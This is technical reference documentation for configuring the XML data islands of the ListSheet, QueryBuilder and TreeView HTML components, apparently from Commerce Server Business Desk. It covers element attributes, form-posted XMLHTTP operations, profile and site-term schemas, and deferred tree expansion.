format Specifies that special formatting should be used for this column or row.

Optional.

Legal values: "select", "password", "float". See below for additional details.

Default value: None.

The value "select" will look up the display value from a select list within the metadata.

The value "password" will mask the display in the same manner as an HTML password input element.

The value "float" will display the data as a normalized decimal number.
hide Specifies whether the column or row is displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", display of this column or row is suppressed.

Default value: "no".
id Provides the identifier used to associate this column or row with its corresponding second-level data.

Required.

Legal values: A string that uniquely identifies the corresponding second-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the second-level of the data to be displayed.
width Specifies an initial width for the data column when the type attribute of the subobject element is set to "list".

Optional.

Legal values: An integer between 0 and 100, representing data column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: Calculated by dividing the number of subobject columns by 80, resulting in uniform column width in the right-hand 80% of the overall width of the ListSheet HTC.

When the type attribute of the subobject control is set to "properties", this attribute is irrelevant and is ignored if present.

Remarks

If the subobject element is present, at least one column element is required, though in general, multiple column elements will be specified.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain standard XMLHTTP operations to be performed when specific events are fired. This set of operations can also be extended with custom operations.

Parent Element
listsheet
Required Child Elements
None.
Optional Child Elements
page, sort, sublist, custom_op
Data
None.
Attributes
None.

Remarks

All child elements, including custom child elements, represent different operations that will be performed when different events occur.

If the operations element is present but contains no child elements, it will be ignored.

The operations corresponding to the child elements are known as XMLHTTP operations. For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

Return to XML Structure

page

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the entire list reloads with new data after the OnNewPage event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnNewPage event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form must be set to the post page: the page that returns the new page of data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "page". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnNewPage event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
prevpage | The value of this attribute is set to number of the page currently being displayed, soon to be the previous page displayed.
page | The value of this attribute is set to the number of the new page to be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sort

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the entire list reloads with new data after the OnHeaderClick event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnHeaderClick event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page: the page that returns the first page of data, re-sorted as specified.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "sort". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnHeaderClick event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
page | The value of this attribute is always set to 1. This operation does not permit re-sorting the list without returning to the beginning of the list, where the "top" of the sort will be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sublist

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the list under the currently selected item loads with data when this operation is invoked using the reload method, which should be called in the OnGroupOpen event handling routine. This means that the retrieval of detail data can be deferred until it needs to be displayed.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnGroupOpen event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the detail data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this argument is set to "sublist". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnGroupOpen event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
xmllist | The value of this argument is set to the XML of the list item that was clicked, so that the post page knows what sub-items to return.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements, which are optional, correspond to custom XMLHTTP operations defined for a ListSheet HTC. When a custom operation element is present, the entire list reloads when the reload method is called with its sOp parameter set to the custom name for this element.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For example, if the element double_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "double_sort", the form with the specified identifier will be posted. For example:

bRetVal = elListSheet.reload("double_sort")

The reload method returns False if no XML is returned or if any error elements are present, and True otherwise.

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the new data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure


QueryBuilder Configuration

The XML data-island identified by the XMLCfgID container attribute contains the configuration information used by the QueryBuilder HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes in the MetaXML data-island for the QueryBuilder HTC must be expressed in uppercase letters.

XML Structure

<EBCONFIG>
  <EXPR-ASP>relative URL of exprarch directory</EXPR-ASP>
  <PROFILE-LIST>
    <PROFILE>profile name</PROFILE>
    <PROFILE SRC />
  </PROFILE-LIST>
  <SITE-TERMS URL NOLOAD />
  <EEE-INTRINSICS />
  <DEBUG />
  <TYPESOPS>path to xml file</TYPESOPS>
  <MESSAGE>alternate message</MESSAGE>
  <EDIT-NESTED>always, warn, or never</EDIT-NESTED>
  <DATE-FORMAT>date format</DATE-FORMAT>
  <DATE-FIRSTDAY>first day of week</DATE-FIRSTDAY>
  <NUMBER-FORMAT>number format</NUMBER-FORMAT>
  <CURRENCY-FORMAT>currency format</CURRENCY-FORMAT>
  <HELPTOPIC>help topic URL</HELP-TOPIC>
  <ADVANCED />
  <FILTER-PROPERTIES>XSL expression</FILTER-PROPERTIES>
</EBCONFIG>

EBCONFIG

This required element contains the configuration information for an instance of the QueryBuilder HTC.

Parent Element
None (document root)
Required Child Elements
EXPR-ASP, PROFILE-LIST
Optional Child Elements
ADVANCED, CURRENCY-FORMAT, DATE-FIRSTDAY, DATE-FORMAT, DEBUG, EDIT-NESTED, EEE-INTRINSICS, FILTER-PROPERTIES, HELPTOPIC, MESSAGE, NUMBER-FORMAT, SITE-TERMS, TYPESOPS
Data
None.
Attributes
None.

Return to XML Structure

EXPR-ASP

This required element specifies the relative URL of the Exprarch folder, which is required for the proper functioning of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

PROFILE-LIST

This required element contains the specifications of the various profiles used by this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
PROFILE (at least one is required)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

PROFILE

This required element specifies a profile in one of two distinct ways. For profile definitions defined within Commerce Server, the name of the profile is specified as data associated with the element. For profiles not defined within Commerce Server, the URL of a valid XML document containing one or more profiles is specified as the value of the SRC attribute.

Parent Element
PROFILE-LIST
Required Child Elements
None.
Optional Child Elements
None.
Data
When the SRC attribute is not present, the name of the profile is specified as data within the PROFILE element. Otherwise, no data is present.

Attributes

Attribute | Description
SRC | Provides the URL of a valid XML document that contains one or more profiles not defined within Commerce Server. Optional. Legal values: A valid URL. Default value: None. When this attribute is specified, the PROFILE element should not contain any data.

Remarks

When the name of a Profile Definition defined within Commerce Server is specified as data for this element, the name must be of the form "CatalogName.ProfileName". For example, "UserProfiles.UserObject".

When a profile not defined within Commerce Server is specified using the SRC attribute, it must conform to a defined XML structure for profile specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

Return to XML Structure

SITE-TERMS

This optional element specifies alternate information about whether the QueryBuilder HTC should load site-terms, and if so, from where.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
NOLOAD | Suppresses the loading of site-terms for this instance of the QueryBuilder HTC (when set to "1"). Optional. Legal values: "1". Default value: None. If site-term loading is suppressed and queries containing site-terms are passed to the QueryBuilder HTC, errors will result. This attribute should not be specified in combination with the URL attribute.
URL | Provides the URL of a valid XML document that contains alternate site-terms for use in this instance of the QueryBuilder HTC. Optional. Legal values: A valid URL. Default value: None. This attribute should not be specified in combination with the NOLOAD attribute.

REMARKS

When the SITE-TERMS element is present, either the NOLOAD attribute or the URL attribute (but not both) must be specified.

When the SITE-TERMS element is not present, site terms are loaded from the same folder specified by the required EXPR-ASP element.

When an alternate set of site terms is specified using the URL attribute, it must conform to the defined XML structure for site term specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

Return to XML Structure

EEE-INTRINSICS

This optional element, when present, causes the QueryBuilder HTC to expose the intrinsic properties of the Expression Evaluator as a profile in its drop-down menus.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

DEBUG

This optional element, when present, causes the QueryBuilder HTC to display debugging information.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

TYPESOPS

This optional element, when present, specifies a types and operators XML file for the QueryBuilder HTC to use.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative path to the XML types and operators file.
Attributes
None.

Remarks

If this element is not specified, the default types and operators file is /Widgets/ExprbldrHTC/TypesOpsA.xml.

Return to XML Structure

MESSAGE

This optional element, when present, specifies an alternate message to be displayed above the expression-selector area.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The alternate message.
Attributes
None.

Remarks

When the MESSAGE element is not present, the default message is "Target based to the following conditions:".

Return to XML Structure

EDIT-NESTED

This optional element, when present, specifies whether editing of nested expressions is allowed or prevented, or only allowed if the user explicitly allows it in response to a warning dialog box.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
One of the three values "always", "warn", or "never". See Remarks for more details.
Attributes
None.

Remarks

Specifying "always" results in the nested expression being opened in edit mode. In general, this is not recommended.

Specifying "warn" results in a warning dialog box that offers the choice between opening the nested expression in edit mode or view mode.

Specifying "never" results in the nested expression being opened in view mode.

The default behavior, in the event that the EDIT-NESTED element is not present or contains an illegal data value, is to not allow the editing of nested expressions.

The EDIT-NESTED is only relevant when an expression is being created or edited.

Return to XML Structure

DATE-FORMAT

This optional element, when present, specifies the display format for dates.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for dates.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will always be displayed without a leading zero, and years will always be displayed using 4 digits.

Return to XML Structure

DATE-FIRSTDAY

This optional element, when present, specifies the day of the week that will be considered the first day of the week.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
A number in the range 0 (Sunday) to 6 (Saturday).
Attributes
None.

Remarks

Days of the week are represented by numbers between 0 and 6, as follows: 0 = Sunday; 1 = Monday; 2 = Tuesday, 3 = Wednesday; 4 = Thursday; 5 = Friday, and 6 = Saturday.

If this element is not present, the default first day of the week is Sunday.

Return to XML Structure

NUMBER-FORMAT

This optional element, when present, specifies the display format for numbers.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for numbers.
Attributes
None.

Remarks

Valid formats for numbers are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

Examples:

1.1 -1.1 1.1- (1.1)

Return to XML Structure

CURRENCY-FORMAT

This optional element, when present, specifies the display format for currency.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for currency.
Attributes
None.

Remarks

Valid formats for currency are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

Return to XML Structure

HELPTOPIC

This optional element, when present, specifies a help topic for this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The absolute URL of the corresponding help topic.
Attributes
None.

Remarks

If this element is present, the QueryBuilder HTC will display a help button, which when clicked will display the specified help topic.

Use the server-side utility routine sRelURL2AbsURL to generate the absolute URL required by this element. For example:

<HELPTOPIC><%=sRelURL2AbsURL("../docs/htm/yourhelpfile.htm")%></HELPTOPIC>

Return to XML Structure

ADVANCED

This optional element, when present, specifies that advanced editing will be allowed. Advanced editing allows the use of the OR operator in expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

If this element is not present, advanced editing is not allowed.

Return to XML Structure

FILTER-PROPERTIES

This optional element, when present, specifies an XSL pattern fragment used for filtering properties from the profile. If this element is present, the provided XSL pattern will be applied to the properties in each profile that is loaded. Any properties that do not conform to the XSL pattern will not be shown when creating or editing expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The XSL pattern fragment.
Attributes
None.

Remarks

The default XSL pattern fragment is: not(@isActive) || @isActive != '0'

The data values supplied for this element are actually XSL pattern fragments because they are surrounded by the strings "Property[" and "]" to achieve the actual XSL pattern. For example, the actual default XSL pattern, shown with the added strings in bold, is as follows:

Property[not(@isActive) || @isActive != '0']

Element attributes return "0" when they are not defined. Therefore, it is recommended the XSL pattern fragments specified as data for this element check for the presence of an attribute as well as for the attribute value being set to zero. The default XSL pattern is an example of both of these conditions being checked.

Return to XML Structure


Specifying Profiles and Site Terms in the QueryBuilder HTC

Both the PROFILE and SITE-TERMS elements, which are part of the MetaXML for the ExpressionBuilder and QueryBuilder HTCs, can be configured to use alternative profiles and site terms, respectively. These alternative profiles and site terms are specified by providing the URL of an XML file, as the value of the SRC attribute of the PROFILE element and the URL attribute of the SITE-TERMS element, respectively.

The XML structure used to specify alternative profiles and site terms for the QueryBuilder HTC consists of a subset of the more general XML schema used for profiles within Commerce Server. The QueryBuilder HTC is not concerned with all of the elements and attributes of the more general schema, and will ignore those elements and attributes that are not of interest to it.

The XML structures used to specify profiles and site terms are similar enough that they are described here together. In terms of elements, they are the same except for the type of child element that must be present for the Property element.

In the case of profiles, the Property element typically contains one DataRef element, representing the data-member to which the property maps.

In the case of site terms, the Property element contains at least one, and typically several, Attribute elements, each representing one of the choices available for that site term.

In both profile and site term specification, the Group element can be used to organize properties and site terms into a hierarchy. This can be beneficial when there are a large number of properties or site-terms present.

The descriptions of each element and attribute specify whether they are relevant for only profiles, or only site terms.

XML Structure

<Profile name displayName description>
  <Property name displayName description propType
            referenceString isActive isMultiValue isSearchable>
    <DataRef idref />
    . . .
    <DataRef />
    <Attribute name displayName description />
    . . .
    <Attribute />
  </Property>
  . . .
  <Property> . . .</Property>
  <Group name displayName description>
    <Property/>
    <Group/>
  </Group>
  . . .
  <Group> . . .</Group>
</Profile>

Profile

This required element represents a profile definition or the definition of a set of site terms.

Parent Element
None (document root)
Required Child Elements
None.
Optional Child Elements
Property, Group
(At least one is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this profile or set of site terms, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for the profile or set of site terms, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a set of site terms. If this attribute is present in a profile specification, it is ignored by the QueryBuilder HTC. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
defaultTableName, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

Property

This required element represents a single property in a profile definition, or a single site term within a set of site terms.

Parent Elements
Profile, Group
Required Child Elements
None.
Optional Child Elements
DataRef (profiles), Attribute (site terms)
(at least one of the relevant type is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this property or site term, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for the property or site term, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a site term. If this attribute is present in a profile specification, it is ignored by the QueryBuilder HTC. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
propType | Stores the data type of a property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Required. Legal values: STRING, SITETERM, PASSWORD, NUMBER, BOOL, DATE, TIME, DATETIME, PROFILE. Default value: None. The values SITETERM and PASSWORD are strings, but with specific semantics applied. The values DATE, TIME, and DATETIME are all stored as a single date-time data type, but with different semantics applied.
referenceString | Stores supplementary information about the data type of a property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: The name of a profile. Default value: None. If the propType attribute specifies a profile, this attribute must specify the name of a profile.
isActive | Indicates whether the value of this property is loaded by the Profile Service. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", the value of this property is loaded by the Profile Service. If the value is "false", the value of this property is not loaded by the Profile Service. Default value: "true".
isMultiValue | Indicates whether this property is multi-valued, that is, consists of a list of values. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", this property is multi-valued. If the value is "false", this property is multi-valued. Default value: "false".
isSearchable | Indicates whether fast searching can be performed on this property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", fast searching can be performed on this property. If the value is "false", searching on this property can still be performed, but may be slower. Default value: "false".
keyDef, defaultValue, isCached, isDefaultNull, isExported, isHidden, isPrivate, isReadOnly, isRequired, isUpdatable, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to the QueryBuilder HTC. This is true with respect to both profile and site term specification.

Return to XML Structure

Attribute

With respect to the QueryBuilder HTC, this element is only relevant in the specification of sets of site terms. It represents one of the choices available for the site term. In general, there will be several Attribute elements specified, representing a corresponding set of choices.

In the more general profile schema, it may appear as a child element of Profile, Group, Property, and SourceInfo elements.

Parent Element
Property (in site term specifications)
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this site term choice, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for this site term choice, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a site term choice. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
value, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

DataRef

With respect to the QueryBuilder HTC, this element is only relevant in the specification of profiles. In the more general profile schema, it may appear as a child element of Profile, Group, Property, and SourceInfo elements.

This element contains the mapping information about its parent property. Each DataRef element contains a reference to a data member in a data object exposed by a data source. When a profile property is mapped to multiple data members (as when the property is an aggregated property), it will contain multiple DataRef child elements.

Parent Element
Property (in profile specifications)
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
idref | Specifies the data-member to which the parent Property element maps. Required. Legal values: Strings of the form sourceName.objectName.memberName. Default value: None.
isRDNAttribute, isModified | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

Group

This element represents a logical grouping of properties or site terms, and potentially subgroups, in a profile definition or set of site terms.

Parent Elements
Profile, Group
Required Child Elements
None.
Optional Child Elements
Group, Property
(at least one is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this group, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for this group, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a group. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to the QueryBuilder HTC. This is true with respect to both profile and site term specification.

Return to XML Structure


TreeView Configuration

The TreeView control requires that the tree to be displayed be passed to it in the form of an XML data-island. The container attribute DataXML is set to the ID of this data-island.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

It is important to note that the TreeView HTC is the only Commerce Server Business Desk HTC that does not have any configuration data. In other words, there is no MetaXML container attribute that must be specified for the TreeView HTC. Only data is provided, using the DataXML container attribute. The nested nature of the elements provides the nesting shown in the displayed tree.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes, not including the arbitrarily named elements, in the MetaXML data-island for the TreeView HTC must be expressed in lowercase letters.

XML Structure

<document selection>
  <level_1_element caption closed
                   enabled hidden
                   queryid selected
                   skip>data that might be displayed
    <level_2_element caption closed
                     enabled hidden
                     queryid selected
                     skip>data that might be displayed
      <level_3_element caption closed
                       enabled hidden
                       queryid selected
                       skip>data that might be displayed

Note that levels can go to an arbitrary depth...

      </level_3_element>
    </level_2_element>
  </level_1_element>
  <another_level_1_element caption closed
                           enabled hidden
                           queryid selected
                           skip>data that might be displayed
    <another_level_2_element caption closed
                             enabled hidden
                             queryid selected
                             skip>data that might be displayed
      <expand />
    </another_level_2_element>
  </another_level_1_element>
  <operations>
    <expand formid />
    <custom_op formid />
  </operations>
</document>

document

This required element contains the configuration information for a TreeView HTML Component (HTC).

Parent Element
None (document root)
Required Child Elements
None.
Optional Child Elements
operations, arbitrary_tree_nodes
Data
None.

Attributes

Attribute | Description
selection | Specifies whether multiple selection will be allowed. Optional. Legal values: "single" and "multi", allowing single and multiple selection, respectively. Default value: "single".

Remarks

To be meaningful, the document element must contain one or more elements besides the operations element. The names of these other elements is arbitrary, and in certain circumstances these names are used as the display string for the corresponding tree node shown to the user.

Return to XML Structure

level_N_element

Other than the document element, the two types of expand elements, and the operations element, the names of all elements in the data-island for the TreeView HTC are arbitrary. There are circumstances where the element name itself is displayed in the control; in such cases extra care must be taken with regard to the element names. Otherwise, they can be truly arbitrary with no effect on the functioning of the TreeView HTC. The arbitrary elements may contain data and may contain the caption attribute, but need not.

Parent Element
document, arbitrary_tree_element
Required Child Elements
None.
Optional Child Elements
arbitrary_tree_element
Data
Optionally, a string that will be displayed to the user as the name of the tree node, if no caption attribute value is provided for this element.

Attributes

Attribute | Description
caption Provides the highest precedence choice for text to be displayed to the user.

Optional.

If present, it overrides both data supplied with the element and the element name itself.
closed When set to "yes", the tree item corresponding to this element will initially be displayed as closed.

Optional.

If not present, or set to any other value, and assuming that the element has child elements, the corresponding item is initially displayed as open.
enabled When set to "no", the tree item corresponding to this element will be disabled.

Optional.

Disabled items are dimmed, and their events are suppressed.

Further, even if they have child items, they cannot to be opened and closed.

If this attribute is not present, or set to any other value, the item is enabled, resulting in normal display and operation.
hidden When set to "yes", the tree item corresponding to this element will be hidden.

Optional.

Any child items are hidden as well.

If this attribute is not present, or set to any other value, the item is visible.
queryid | This attribute is reserved for use by the TreeView HTC itself and should not be set prior to invoking the TreeView HTC.
selected When set to "yes", the tree item corresponding to this element will be initially displayed as selected.

Optional.

Legal values are "yes" and "no".

After initial loading, this attribute continues to be maintained. In other words, it is set to either "yes" or "no" as the corresponding tree item is selected and deselected, respectively.
skip When set to "yes", the corresponding element will be skipped when building the tree structure.

Optional.

If this attribute is not present, or set to any other value, the element is not skipped and results in an item in the tree being displayed (subject to other effects of other attributes).

Unlike the hidden attribute, setting the skip attribute for an element to "yes" does not prevent its child elements from being displayed.

Remarks

The text that is displayed to the user for a particular item in the tree can come from one of three places, with a specific order of precedence, as follows:

  1. If the element has a caption attribute, the value of that attribute is displayed.
  2. Otherwise, if the element contains data, that data is displayed.
  3. Otherwise, the element name itself is displayed.

For example, consider the following XML tree structure, which shows the actual text to be displayed in bold font. Note the presence of the expand element, which allows deferred loading of portions of the tree.

<Item1A>
  <LevelTwo caption=Item2A>Data that will not be displayed
    <LevelThree>Item3A</LevelThree>
    <LevelThree>Item3B</LevelThree>
  </LevelTwo>
</Item1A>
<Item1B>
  <LevelTwo caption=Item2B>More text that will not be displayed
    <LevelThree>Item3C</LevelThree>
    <LevelThree>Item3D</LevelThree>
  </LevelTwo>
  <LevelTwo>Item2C
    <expand />
  </LevelTwo>
</Item1B>
<Item1C>
  <LevelTwo caption=Item2D />
</Item1B>

Given the XML tree structure above, the TreeView HTC displays the following tree when fully expanded, and assuming that the one expand element resulted in a single item named "Item3E (retrieved using expand operation)" being returned.

[-] Item1A

[-] Item2A

Item3A

Item3B

[-] Item1B

[-] Item2B

Item3C

Item3D

[-] Item2C

Item3E (retrieved using expand operation)

[-] Item1C

Item2D

Return to XML Structure

expand

This optional element marks a place in the tree structure where the loading of subordinate tree elements is deferred until the element in question is actually expanded by the user.

Parent Element
arbitrary_element
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

There are two distinct types of expand elements that can occur in the DataXML data-island. This is the first type, which can occur within the arbitrarily named tree elements, and which serves as a placeholder for where the loading of a section of the tree has been deferred, and thus where expansion can occur.

Together, the two types of expand elements are used to perform a special type of XMLHTTP Operation available with the TreeView HTC. This operation allows the loading of the subordinate tree items to be deferred until the containing tree item is opened. In circumstances involving large numbers of items, such deferral can drastically improve the performance of the initial loading and display of the tree.

This element, when present as the sole child element of another element, causes that element to be displayed as a containing item. In other words, with a plus sign indicating the (potential) presence of one or more subordinate items that are not currently being shown. The containing item must be initially closed because the subordinate items have not yet been retrieved. Indeed, the presence of the expand element implies that the closed attribute of its containing element is set to "yes".

When a tree item is opened by a user, the OnItemOpen event fires. If the data for the item being opened is already loaded, no event handler need be assigned to this event. On the other hand, if this event fires and the TreeView HTC finds an expand element rather than the requisite data, an event handling routine needs to be in place. This routine is responsible for adding arguments to the form so that the response page knows which node is being expanded. If no event handling routine has been assigned to the OnItemOpen event and an expand element is encountered, no arguments will be added to the form, and the operation is not likely to return the proper data.

Arguments are added to the form in the standard fashion: hidden input elements are embedded in the form, and the event handling routine simply assigns the appropriate values to those input elements. For example, suppose there is a form element with its id attribute set to "tvform" and it contains a hidden input element with its id attribute set to "category". The event handling routine can assign the value "chocolate" to that input element with the following line of code:

tvform.category.value = 'chocolate'

Once the event handling routine, if any, has run, and if the TreeView HTC has found an expand element where it needs to show a newly expanded section of the tree, the TreeView HTC will call the reload method with the sOp parameter set to "expand".

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute of the other expand element, the one that is subordinate to the operations element. Unless you were to change the value of this attribute dynamically, all expansion must be handled by the same form. On the response page at the server, the passed arguments must be used to determine the item being expanded, so that the correct data can be returned.

